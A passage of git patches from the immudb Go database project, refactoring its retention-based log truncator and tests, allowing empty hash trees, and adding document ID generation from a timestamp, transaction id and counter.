true, - }, - { - name: "retention period reached", - args: args{ - retentionPeriod: TruncateToDay(time.Now().Add(-1 * time.Hour)), - txTs: TruncateToDay(time.Now().Add(-2 * time.Hour)), - }, - wantErr: false, - }, - { - name: "tx period before retention", - args: args{ - retentionPeriod: TruncateToDay(time.Now()), - txTs: TruncateToDay(time.Now().Add(-48 * time.Hour)), - }, - wantErr: false, - }, - { - name: "tx period after retention", - args: args{ - retentionPeriod: TruncateToDay(time.Now()), - txTs: TruncateToDay(time.Now().Add(48 * time.Hour)), - }, - wantErr: true, - }, - { - name: "tx period equal to retention", - args: args{ - retentionPeriod: TruncateToDay(time.Now().Add(48 * time.Hour)), - txTs: TruncateToDay(time.Now().Add(48 * time.Hour)), - }, - wantErr: false, - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - v := &vlogTruncator{} - if err := v.isRetentionPeriodReached(tt.args.retentionPeriod, tt.args.txTs); (err != nil) != tt.wantErr { - t.Errorf("vlogTruncator.isRetentionPeriodReached() error = %v, wantErr %v", err, tt.wantErr) - } - }) - } -} - func Test_vlogCompactor_for_read_conflict(t *testing.T) { rootPath := t.TempDir() fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithFileSize(fileSize) options.storeOpts.VLogCacheSize = 0 @@ -665,26 +604,3 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { <-doneWritesCh <-doneTruncateCh } - -func Test_TruncateToDay(t *testing.T) { - type args struct { - t time.Time - } - tests := []struct { - name string - args args - want time.Time - }{ - { - args: args{t: time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC)}, - want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := TruncateToDay(tt.args.t); !reflect.DeepEqual(got, tt.want) { - t.Errorf("TruncateToDay() = %v, want %v", got, tt.want) - } - }) - } -} diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index e5a0c59779..24dc956da9 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -40,7 +40,6 @@ func NewTruncator( t := &Truncator{ db: db, logger: logger, - retentionPeriodF: getRetentionPeriod, truncators: make([]database.Truncator, 0), donech: make(chan struct{}), stopch: make(chan struct{}), @@ -56,15 +55,15 @@ type Truncator struct { truncators []database.Truncator // specifies truncators for multiple appendable logs - hasStarted bool + hasStarted bool + truncationMutex sync.Mutex db database.DB retentionPeriod time.Duration truncationFrequency time.Duration - logger logger.Logger - retentionPeriodF func(ts time.Time, retentionPeriod time.Duration) time.Time + logger logger.Logger donech chan struct{} stopch chan struct{} @@ -84,6 +83,7 @@ func (t *Truncator) Start() error { go func() { ticker := time.NewTicker(t.truncationFrequency) + for { select { case <-t.stopch: @@ -91,33 +91,35 @@ func (t *Truncator) Start() error { t.donech <- struct{}{} return case <-ticker.C: - // The timestamp ts is used to determine which transaction onwards the data - // may be deleted from the value-log. - // - // Subtracting a duration from ts will add a buffer for when transactions are - // considered safe for deletion. - - // Truncate time to the beginning of the day. - ts := t.retentionPeriodF(time.Now(), t.retentionPeriod) - t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), ts) - if err := t.truncate(context.Background(), ts); err != nil { - if errors.Is(err, database.ErrRetentionPeriodNotReached) { - t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", t.db.GetName(), ts.String()) - } else if errors.Is(err, store.ErrTxNotFound) { - t.logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {err = %v}", t.db.GetName(), err) - } else { - t.logger.Errorf("failed to truncate database '%s' {ts = %v}", t.db.GetName(), err) - } - } else { - t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), ts) + if err := t.Truncate(context.Background(), t.retentionPeriod); err != nil { + t.logger.Errorf("failed to truncate database '%s' {ts = %v}", t.db.GetName(), err) } } } }() + return nil } -// truncate discards an appendable log upto a given offset +func (t *Truncator) Stop() error { + t.mu.Lock() + defer t.mu.Unlock() + + if !t.hasStarted { + return ErrTruncatorAlreadyStopped + } + + t.logger.Infof("Stopping truncator of database '%s'...", t.db.GetName()) + t.stopch <- struct{}{} + <-t.donech + t.hasStarted = false + t.logger.Infof("Truncator for database '%s' successfully stopped", t.db.GetName()) + + return nil +} + +// Truncate discards all data from the database that is older than the retention period. +// Truncation discards an appendable log upto a given offset // before time ts. First, the transaction is fetched which lies // before the specified time period, and then the values are // discarded upto the specified offset. @@ -131,17 +133,35 @@ func (t *Truncator) Start() error { // // | | | // tn-1:vx tn:vx tn+1:vx -func (t *Truncator) truncate(ctx context.Context, ts time.Time) error { +func (t *Truncator) Truncate(ctx context.Context, retentionPeriod time.Duration) error { + t.truncationMutex.Lock() + defer t.truncationMutex.Unlock() + + // The timestamp ts is used to determine which transaction onwards the data + // may be deleted from the value-log. + // + // Subtracting a duration from ts will add a buffer for when transactions are + // considered safe for deletion. + + // Truncate time to the beginning of the day. + truncationTime := getTruncationTime(time.Now(), retentionPeriod) + + t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), truncationTime) + for _, c := range t.truncators { // Plan determines the transaction header before time period ts. If a // transaction is not found, or if an error occurs fetching the transaction, // then truncation does not run for the specified appendable. - hdr, err := c.Plan(ts) + hdr, err := c.Plan(ctx, truncationTime) + if errors.Is(err, database.ErrRetentionPeriodNotReached) { + t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %v}", t.db.GetName(), truncationTime) + continue + } + if errors.Is(err, store.ErrTxNotFound) { + t.logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {reason = %v}", t.db.GetName(), err) + continue + } if err != nil { - if err != database.ErrRetentionPeriodNotReached && err != store.ErrTxNotFound { - t.logger.Errorf("failed to plan truncation for database '%s' {err = %v}", t.db.GetName(), err) - } - // If no transaction is found, or if an error occurs, then continue return err } @@ -149,52 +169,22 @@ func (t *Truncator) truncate(ctx context.Context, ts time.Time) error { // specified in the transaction hdr err = c.Truncate(ctx, hdr.ID) if err != nil { - t.logger.Errorf("failed to truncate database '%s' {err = %v}", t.db.GetName(), err) return err } } - return nil -} - -func (t *Truncator) Stop() error { - t.mu.Lock() - defer t.mu.Unlock() - - if !t.hasStarted { - return ErrTruncatorAlreadyStopped - } - - t.logger.Infof("Stopping truncator of database '%s'...", t.db.GetName()) - t.stopch <- struct{}{} - <-t.donech - t.hasStarted = false - t.logger.Infof("Truncator for database '%s' successfully stopped", t.db.GetName()) + t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), truncationTime) return nil } -// Truncate discards all data from the database that is older than the retention period. -func (t *Truncator) Truncate(ctx context.Context, retentionPeriod time.Duration) error { - ts := t.retentionPeriodF(time.Now(), retentionPeriod) - t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), ts) - if err := t.truncate(ctx, ts); err != nil { - if errors.Is(err, database.ErrRetentionPeriodNotReached) { - t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", t.db.GetName(), ts.String()) - } else if errors.Is(err, store.ErrTxNotFound) { - t.logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {reason = %v}", t.db.GetName(), err) - } else { - t.logger.Errorf("failed truncating database '%s' {ts = %v}", t.db.GetName(), err) - } - return err - } - - t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), ts) - return nil +// getTruncationTime returns the timestamp that is used to determine +// which database transaction up to which the data may be deleted from the value-log. +func getTruncationTime(t time.Time, retentionPeriod time.Duration) time.Time { + return truncateToDay(t.Add(-1 * retentionPeriod)) } -// getRetentionPeriod returns the timestamp that is used to determine -// which database.transaction up to which the data may be deleted from the value-log. -func getRetentionPeriod(ts time.Time, retentionPeriod time.Duration) time.Time { - return database.TruncateToDay(ts.Add(-1 * retentionPeriod)) +// TruncateToDay truncates the time to the beginning of the day. +func truncateToDay(t time.Time) time.Time { + return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location()) } diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 173cd6d828..21b58ae965 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -46,21 +46,19 @@ func makeDbWith(t *testing.T, dbName string, opts *database.Options) database.DB } func TestDatabase_truncate_with_duration(t *testing.T) { - rootPath := t.TempDir() + options := database.DefaultOption().WithDBRootPath(t.TempDir()) - options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) so := options.GetStoreOptions() - so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) - so.MaxIOConcurrency = 1 - so.VLogCacheSize = 0 + + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)). + WithFileSize(6). + WithVLogCacheSize(0). + WithSynced(false) options.WithStoreOptions(so) ctx := context.Background() + db := makeDbWith(t, "db", options) - tr := NewTruncator(db, 0, 0, logger.NewSimpleLogger("immudb ", os.Stderr)) - tr.retentionPeriodF = func(ts time.Time, retentionPeriod time.Duration) time.Time { - return ts.Add(-1 * retentionPeriod) - } t.Run("truncate with duration", func(t *testing.T) { var queryTime time.Time @@ -77,12 +75,15 @@ func TestDatabase_truncate_with_duration(t *testing.T) { } c := database.NewVlogTruncator(db) - hdr, err := c.Plan(queryTime) + + _, err := c.Plan(ctx, getTruncationTime(queryTime, time.Duration(1*time.Hour))) + require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) + + hdr, err := c.Plan(ctx, queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - dur := time.Since(queryTime) - err = tr.Truncate(ctx, dur) + err = c.Truncate(ctx, hdr.ID) require.NoError(t, err) for i := uint64(1); i < hdr.ID-1; i++ { @@ -107,30 +108,13 @@ func TestDatabase_truncate_with_duration(t *testing.T) { require.Equal(t, kv.Value, item.Value) } }) - - t.Run("truncate with retention period in the past", func(t *testing.T) { - ts := time.Now().Add(-24 * time.Hour) - dur := time.Since(ts) - err := tr.Truncate(ctx, dur) - require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) - }) - - t.Run("truncate with retention period in the future", func(t *testing.T) { - ts := time.Now().Add(24 * time.Hour) - dur := time.Since(ts) - err := tr.Truncate(ctx, dur) - require.ErrorIs(t, err, store.ErrTxNotFound) - }) - } func TestTruncator(t *testing.T) { - rootPath := t.TempDir() - - options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := database.DefaultOption().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions() - so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) - so.MaxIOConcurrency = 1 + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)). + WithFileSize(6) options.WithStoreOptions(so) db := makeDbWith(t, "db", options) @@ -150,12 +134,9 @@ func TestTruncator(t *testing.T) { } func TestTruncator_with_truncation_frequency(t *testing.T) { - rootPath := t.TempDir() - - options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := database.DefaultOption().WithDBRootPath(t.TempDir()).WithCorruptionChecker(false) so := options.GetStoreOptions() so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) - so.MaxIOConcurrency = 1 options.WithStoreOptions(so) db := makeDbWith(t, "db", options) @@ -170,7 +151,7 @@ func TestTruncator_with_truncation_frequency(t *testing.T) { require.NoError(t, err) } -func Test_GetRetentionPeriod(t *testing.T) { +func Test_getTruncationTime(t *testing.T) { type args struct { ts time.Time retentionPeriod time.Duration @@ -204,7 +185,7 @@ func Test_GetRetentionPeriod(t *testing.T) { } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - if got := getRetentionPeriod(tt.args.ts, tt.args.retentionPeriod); !reflect.DeepEqual(got, tt.want) { + if got := getTruncationTime(tt.args.ts, tt.args.retentionPeriod); !reflect.DeepEqual(got, tt.want) { t.Errorf("GetRetentionPeriod() = %v, want %v", got, tt.want) } }) @@ -212,12 +193,9 @@ func Test_GetRetentionPeriod(t *testing.T) { } func TestTruncator_with_retention_period(t *testing.T) { - rootPath := t.TempDir() - - options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := database.DefaultOption().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions() so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) - so.MaxIOConcurrency = 1 options.WithStoreOptions(so) db := makeDbWith(t, "db", options) @@ -228,8 +206,8 @@ func TestTruncator_with_retention_period(t *testing.T) { time.Sleep(15 * time.Millisecond) - err = tr.truncate(context.Background(), getRetentionPeriod(time.Now(), 25*time.Hour)) - require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) + err = tr.Truncate(context.Background(), time.Duration(25*time.Hour)) + require.NoError(t, err) err = tr.Stop() require.NoError(t, err) @@ -239,7 +217,7 @@ type mockTruncator struct { err error } -func (m *mockTruncator) Plan(time.Time) (*store.TxHeader, error) { +func (m *mockTruncator) Plan(context.Context, time.Time) (*store.TxHeader, error) { return nil, m.err } @@ -249,13 +227,10 @@ func (m *mockTruncator) Truncate(context.Context, uint64) error { return m.err } -func TestTruncator_with_invalid_transaction_id(t *testing.T) { - rootPath := t.TempDir() - - options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) +func TestTruncator_with_nothing_to_truncate(t *testing.T) { + options := database.DefaultOption().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions() so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) - so.MaxIOConcurrency = 1 options.WithStoreOptions(so) db := makeDbWith(t, "db", options) @@ -268,8 +243,8 @@ func TestTruncator_with_invalid_transaction_id(t *testing.T) { time.Sleep(15 * time.Millisecond) - err = tr.truncate(context.Background(), getRetentionPeriod(time.Now(), 2*time.Hour)) - require.ErrorIs(t, err, store.ErrTxNotFound) + err = tr.Truncate(context.Background(), time.Duration(2*time.Hour)) + require.NoError(t, err) err = tr.Stop() require.NoError(t, err) From 8cb138dc22acd590e88bb64353446fd510ee6bf8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 21 Mar 2023 12:15:12 -0300 Subject: [PATCH 0354/1062] chore(pkg/truncator): return error if expiration time hasn't been met Signed-off-by: Jeronimo Irazabal --- pkg/truncator/truncator.go | 44 +++++++++++++++++---------------- pkg/truncator/truncator_test.go | 7 +++--- 2 files changed, 26 insertions(+), 25 deletions(-) diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index 24dc956da9..1769ca9dc5 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -32,24 +32,6 @@ var ( ErrTruncatorAlreadyStopped = errors.New("truncator already stopped") ) -func NewTruncator( - db database.DB, - retentionPeriod time.Duration, - truncationFrequency time.Duration, - logger logger.Logger) *Truncator { - t := &Truncator{ - db: db, - logger: logger, - truncators: make([]database.Truncator, 0), - donech: make(chan struct{}), - stopch: make(chan struct{}), - retentionPeriod: retentionPeriod, - truncationFrequency: truncationFrequency, - } - t.truncators = append(t.truncators, database.NewVlogTruncator(db)) - return t -} - type Truncator struct { mu sync.Mutex @@ -69,6 +51,23 @@ type Truncator struct { stopch chan struct{} } +func NewTruncator( + db database.DB, + retentionPeriod time.Duration, + truncationFrequency time.Duration, + logger logger.Logger) *Truncator { + + return &Truncator{ + db: db, + logger: logger, + truncators: []database.Truncator{database.NewVlogTruncator(db)}, + donech: make(chan struct{}), + stopch: make(chan struct{}), + retentionPeriod: retentionPeriod, + truncationFrequency: truncationFrequency, + } +} + // runTruncator triggers periodically to truncate multiple appendable logs func (t *Truncator) Start() error { t.mu.Lock() @@ -79,6 +78,7 @@ func (t *Truncator) Start() error { } t.hasStarted = true + t.logger.Infof("starting truncator for database '%s' with retention period '%vs' and truncation frequency '%vs'", t.db.GetName(), t.retentionPeriod.Seconds(), t.truncationFrequency.Seconds()) go func() { @@ -91,7 +91,8 @@ func (t *Truncator) Start() error { t.donech <- struct{}{} return case <-ticker.C: - if err := t.Truncate(context.Background(), t.retentionPeriod); err != nil { + err := t.Truncate(context.Background(), t.retentionPeriod) + if err != nil { t.logger.Errorf("failed to truncate database '%s' {ts = %v}", t.db.GetName(), err) } } @@ -110,9 +111,12 @@ func (t *Truncator) Stop() error { } t.logger.Infof("Stopping truncator of database '%s'...", t.db.GetName()) + t.stopch <- struct{}{} <-t.donech + t.hasStarted = false + t.logger.Infof("Truncator for database '%s' successfully stopped", t.db.GetName()) return nil @@ -155,11 +159,9 @@ func (t *Truncator) Truncate(ctx context.Context, retentionPeriod time.Duration) hdr, err := c.Plan(ctx, truncationTime) if errors.Is(err, database.ErrRetentionPeriodNotReached) { t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %v}", t.db.GetName(), truncationTime) - continue } if errors.Is(err, store.ErrTxNotFound) { t.logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {reason = %v}", t.db.GetName(), err) - continue } if err != nil { return err diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 21b58ae965..a4837abf9e 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -207,7 +207,7 @@ func TestTruncator_with_retention_period(t *testing.T) { time.Sleep(15 * time.Millisecond) err = tr.Truncate(context.Background(), time.Duration(25*time.Hour)) - require.NoError(t, err) + require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) err = tr.Stop() require.NoError(t, err) @@ -235,8 +235,7 @@ func TestTruncator_with_nothing_to_truncate(t *testing.T) { db := makeDbWith(t, "db", options) tr := NewTruncator(db, 25*time.Hour, 5*time.Millisecond, logger.NewSimpleLogger("immudb ", os.Stderr)) - tr.truncators = make([]database.Truncator, 0) - tr.truncators = append(tr.truncators, &mockTruncator{err: store.ErrTxNotFound}) + tr.truncators = []database.Truncator{&mockTruncator{err: store.ErrTxNotFound}} err := tr.Start() require.NoError(t, err) @@ -244,7 +243,7 @@ func TestTruncator_with_nothing_to_truncate(t *testing.T) { time.Sleep(15 * time.Millisecond) err = tr.Truncate(context.Background(), time.Duration(2*time.Hour)) - require.NoError(t, err) + require.ErrorIs(t, err, store.ErrTxNotFound) err = tr.Stop() require.NoError(t, err) From a9f5e6cfd10c7c1c83fac5de3ad3f9d7356919f6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 21 Mar 2023 12:58:27 -0300 Subject: [PATCH 0355/1062] chore(embedded/htree): allow creation of empty hash trees Signed-off-by: Jeronimo Irazabal --- embedded/htree/htree.go | 22 +++++++++++----------- embedded/htree/htree_test.go | 14 ++++++++++---- 2 files changed, 21 insertions(+), 15 deletions(-) diff --git a/embedded/htree/htree.go b/embedded/htree/htree.go index c3d0ab84bb..498e7fe02c 100644 --- a/embedded/htree/htree.go +++ b/embedded/htree/htree.go @@ -43,20 +43,20 @@ type InclusionProof struct { } func New(maxWidth int) (*HTree, error) { - if maxWidth < 1 { - return nil, ErrIllegalArguments - } + var levels [][][sha256.Size]byte - lw := 1 - for lw < maxWidth { - lw = lw << 1 - } + if maxWidth > 0 { + lw := 1 + for lw < maxWidth { + lw = lw << 1 + } - height := bits.Len64(uint64(maxWidth-1)) + 1 + height := bits.Len64(uint64(maxWidth-1)) + 1 - levels := make([][][sha256.Size]byte, height) - for l := 0; l < height; l++ { - levels[l] = make([][sha256.Size]byte, lw>>l) + levels = make([][][sha256.Size]byte, height) + for l := 0; l < height; l++ { + levels[l] = make([][sha256.Size]byte, lw>>l) + } } return &HTree{ diff --git a/embedded/htree/htree_test.go b/embedded/htree/htree_test.go index 448655fca3..fc7dca9d72 100644 --- a/embedded/htree/htree_test.go +++ b/embedded/htree/htree_test.go @@ -27,12 +27,18 @@ import ( func TestHTree(t *testing.T) { const maxWidth = 1000 - _, err := New(0) - require.ErrorIs(t, err, ErrIllegalArguments) + tree, err := New(0) + require.NoError(t, err) + + err = tree.BuildWith([][sha256.Size]byte{sha256.Sum256(nil)}) + require.ErrorIs(t, err, ErrMaxWidthExceeded) + + err = tree.BuildWith(nil) + require.NoError(t, err) + require.Equal(t, sha256.Sum256(nil), tree.Root()) - tree, err := New(maxWidth) + tree, err = New(maxWidth) require.NoError(t, err) - require.NotNil(t, tree) digests := make([][sha256.Size]byte, maxWidth) From 39a50acd38eabdb5912c5cbfeebffd8b06ac4185 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 17 Mar 2023 15:32:19 +0530 Subject: [PATCH 0356/1062] chore(embedded/document): add document id generation --- embedded/document/document_id.go | 90 +++++++++++++++++++++++++++ embedded/document/document_id_test.go | 85 +++++++++++++++++++++++++ 2 files changed, 175 insertions(+) create mode 100644 embedded/document/document_id.go create mode 100644 embedded/document/document_id_test.go diff --git a/embedded/document/document_id.go b/embedded/document/document_id.go new file mode 100644 index 0000000000..eff5ca9179 --- /dev/null +++ b/embedded/document/document_id.go @@ -0,0 +1,90 @@ +package document + +import ( + "crypto/rand" + "encoding/binary" + "encoding/hex" + "errors" + "fmt" + "io" + "time" +) + +/* + DocumentID is a 16-byte identifier that is automatically generated + by the server upon document insertion. The 16-byte DocumentID is composed of: + + 1) A 4-byte timestamp value, representing the time the document was created, + measured in seconds since the Unix epoch. + 2) A 4-byte random value, generated using a secure random number generator. + 3) A 8-byte value, initialized to the previous transaction id. + + The timestamp portion of the DocumentID allows documents to be sorted by creation time, which + can be useful for certain types of queries. The random value and tx id portions of the DocumentID + ensure that the identifier is unique across all documents in a collection, even if multiple documents + are inserted in the same second. + + The 5-byte random value provides a total of 32 bits of randomness, which gives a total of 2^32 + possible unique values. This makes it highly unlikely that two DocumentIDs will ever collide. +*/ + +// DocumentID is a 16-byte identifier that is automatically generated by the server upon document insertion. +type DocumentID [16]byte + +// NilDocumentID is the zero value for DocumentID. +var NilDocumentID DocumentID + +// NewDocumentIDFromTx generates a new DocumentID. +func NewDocumentIDFromTx(txID uint64) DocumentID { + return NewDocumentIDFromTimestamp(time.Now(), txID) +} + +// NewDocumentIDFromTimestamp generates a new DocumentID from a timestamp. +func NewDocumentIDFromTimestamp(timestamp time.Time, txID uint64) DocumentID { + var b [16]byte + + // The first 4 bytes are the timestamp. + binary.BigEndian.PutUint32(b[0:4], uint32(timestamp.Unix())) + + // generate random + var random [4]byte + _, err := io.ReadFull(rand.Reader, random[:]) + if err != nil { + panic(fmt.Errorf("cannot generate random for DocumentId: %v", err)) + } + + // The next 4 bytes are the random value. + copy(b[4:8], random[:]) + // The last 8 bytes are the transaction id. + binary.BigEndian.PutUint64(b[8:16], txID) + + return b +} + +// Timestamp returns the timestamp portion of the DocumentID. +func (id DocumentID) Timestamp() time.Time { + unixSecs := binary.BigEndian.Uint32(id[0:4]) + return time.Unix(int64(unixSecs), 0).UTC() +} + +// Hex returns the hex representation of the DocumentID. +func (id DocumentID) Hex() string { + var buf [32]byte + hex.Encode(buf[:], id[:]) + return string(buf[:]) +} + +// DocumentIDFromHex returns a DocumentID from a hex string. +func DocumentIDFromHex(s string) (DocumentID, error) { + if len(s) != 32 { + return NilDocumentID, errors.New("invalid hex length for DocumentID") + } + + var oid [16]byte + _, err := hex.Decode(oid[:], []byte(s)) + if err != nil { + return NilDocumentID, err + } + + return oid, nil +} diff --git a/embedded/document/document_id_test.go b/embedded/document/document_id_test.go new file mode 100644 index 0000000000..ce7ca88171 --- /dev/null +++ b/embedded/document/document_id_test.go @@ -0,0 +1,85 @@ +package document + +import ( + "encoding/hex" + "fmt" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestDocumentID_WithTimestamp(t *testing.T) { + tests := []struct { + time string + Expected string + }{ + { + "1970-01-01T00:00:00.000Z", + "00000000", + }, + { + "2038-01-19T03:14:07.000Z", + "7fffffff", + }, + { + "2038-01-19T03:14:08.000Z", + "80000000", + }, + { + "2106-02-07T06:28:15.000Z", + "ffffffff", + }, + } + + layout := "2006-01-02T15:04:05.000Z" + for _, test := range tests { + time, err := time.Parse(layout, test.time) + require.NoError(t, err) + + id := NewDocumentIDFromTimestamp(time, 0) + fmt.Println(test.time, id.Hex()) + timeStr := hex.EncodeToString(id[0:4]) + + require.Equal(t, test.Expected, timeStr) + } +} + +func TestDocumentID_FromDocumentHex(t *testing.T) { + tests := []struct { + hex string + Expected string + }{ + { + "0000000075b4f29e0000000000000000", + "1970-01-01 00:00:00 +0000 UTC", + }, + { + "7fffffffa7ec50600000000000000000", + "2038-01-19 03:14:07 +0000 UTC", + }, + { + "80000000441e18f90000000000000000", + "2038-01-19 03:14:08 +0000 UTC", + }, + { + "ffffffffb840d6030000000000000000", + "2106-02-07 06:28:15 +0000 UTC", + }, + } + + for _, test := range tests { + id, err := DocumentIDFromHex(test.hex) + require.NoError(t, err) + + genTime := id.Timestamp() + require.Equal(t, test.Expected, genTime.String()) + } +} + +func BenchmarkHex(b *testing.B) { + id := NewDocumentIDFromTx(0) + for i := 0; i < b.N; i++ { + id.Hex() + } +} From 923d7c723cacf8162959146cdb35957223314d44 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 21 Mar 2023 16:57:11 +0530 Subject: [PATCH 0357/1062] chore: add monotically increasing number to doc id generation --- embedded/document/document_id.go | 53 ++++++++++++++++----------- embedded/document/document_id_test.go | 18 +++++++-- 2 files changed, 46 insertions(+), 25 deletions(-) diff --git a/embedded/document/document_id.go b/embedded/document/document_id.go index eff5ca9179..155b8531dd 100644 --- a/embedded/document/document_id.go +++ b/embedded/document/document_id.go @@ -7,6 +7,7 @@ import ( "errors" "fmt" "io" + "sync/atomic" "time" ) @@ -16,24 +17,27 @@ import ( 1) A 4-byte timestamp value, representing the time the document was created, measured in seconds since the Unix epoch. - 2) A 4-byte random value, generated using a secure random number generator. - 3) A 8-byte value, initialized to the previous transaction id. + 2) A 8-byte value, initialized to the previous transaction id. + 3) A 4-byte incremental counter value, generated using a secure random number generator. The timestamp portion of the DocumentID allows documents to be sorted by creation time, which - can be useful for certain types of queries. The random value and tx id portions of the DocumentID - ensure that the identifier is unique across all documents in a collection, even if multiple documents - are inserted in the same second. - - The 5-byte random value provides a total of 32 bits of randomness, which gives a total of 2^32 - possible unique values. This makes it highly unlikely that two DocumentIDs will ever collide. + can be useful for certain types of queries. The tx id portions of the DocumentID ensure that + the identifier is unique across all documents in a collection, even if multiple documents + are inserted in the same second. The 4-byte value ensures randomness. */ +// DocumentIDLength is the length of a DocumentID. +const DocumentIDLength = 16 + // DocumentID is a 16-byte identifier that is automatically generated by the server upon document insertion. -type DocumentID [16]byte +type DocumentID [DocumentIDLength]byte // NilDocumentID is the zero value for DocumentID. var NilDocumentID DocumentID +// documentIDCounter is a counter used to generate unique monotically incremental number for the document id. +var documentIDCounter = getRandUint32() + // NewDocumentIDFromTx generates a new DocumentID. func NewDocumentIDFromTx(txID uint64) DocumentID { return NewDocumentIDFromTimestamp(time.Now(), txID) @@ -41,29 +45,24 @@ func NewDocumentIDFromTx(txID uint64) DocumentID { // NewDocumentIDFromTimestamp generates a new DocumentID from a timestamp. func NewDocumentIDFromTimestamp(timestamp time.Time, txID uint64) DocumentID { - var b [16]byte + var b [DocumentIDLength]byte // The first 4 bytes are the timestamp. binary.BigEndian.PutUint32(b[0:4], uint32(timestamp.Unix())) - // generate random - var random [4]byte - _, err := io.ReadFull(rand.Reader, random[:]) - if err != nil { - panic(fmt.Errorf("cannot generate random for DocumentId: %v", err)) - } + // The next 8 bytes are the precommitted transaction id. + binary.BigEndian.PutUint64(b[4:12], txID) - // The next 4 bytes are the random value. - copy(b[4:8], random[:]) - // The last 8 bytes are the transaction id. - binary.BigEndian.PutUint64(b[8:16], txID) + // The next 4 bytes are the monotically increasing number. + counter := atomic.AddUint32(&documentIDCounter, 1) + binary.BigEndian.PutUint32(b[12:16], counter) return b } // Timestamp returns the timestamp portion of the DocumentID. func (id DocumentID) Timestamp() time.Time { - unixSecs := binary.BigEndian.Uint32(id[0:4]) + unixSecs := binary.BigEndian.Uint32(id[:]) return time.Unix(int64(unixSecs), 0).UTC() } @@ -80,7 +79,7 @@ func DocumentIDFromHex(s string) (DocumentID, error) { return NilDocumentID, errors.New("invalid hex length for DocumentID") } - var oid [16]byte + var oid [DocumentIDLength]byte _, err := hex.Decode(oid[:], []byte(s)) if err != nil { return NilDocumentID, err @@ -88,3 +87,13 @@ func DocumentIDFromHex(s string) (DocumentID, error) { return oid, nil } + +func getRandUint32() uint32 { + var b [4]byte + _, err := io.ReadFull(rand.Reader, b[:]) + if err != nil { + panic(fmt.Errorf("cannot initialize document id rand reader: %v", err)) + } + + return binary.BigEndian.Uint32(b[0:4]) +} diff --git a/embedded/document/document_id_test.go b/embedded/document/document_id_test.go index ce7ca88171..67ed7a6288 100644 --- a/embedded/document/document_id_test.go +++ b/embedded/document/document_id_test.go @@ -1,8 +1,10 @@ package document import ( + "encoding/binary" "encoding/hex" "fmt" + "sync/atomic" "testing" "time" @@ -11,8 +13,8 @@ import ( func TestDocumentID_WithTimestamp(t *testing.T) { tests := []struct { - time string - Expected string + time string + expectedTimeHex string }{ { "1970-01-01T00:00:00.000Z", @@ -41,7 +43,7 @@ func TestDocumentID_WithTimestamp(t *testing.T) { fmt.Println(test.time, id.Hex()) timeStr := hex.EncodeToString(id[0:4]) - require.Equal(t, test.Expected, timeStr) + require.Equal(t, test.expectedTimeHex, timeStr) } } @@ -77,6 +79,16 @@ func TestDocumentID_FromDocumentHex(t *testing.T) { } } +func TestDocumentID_IncrementalCounter(t *testing.T) { + id := NewDocumentIDFromTx(0) + counter := binary.BigEndian.Uint32(id[12:16]) + for i := 0; i < 10; i++ { + id = NewDocumentIDFromTx(0) + newCounter := 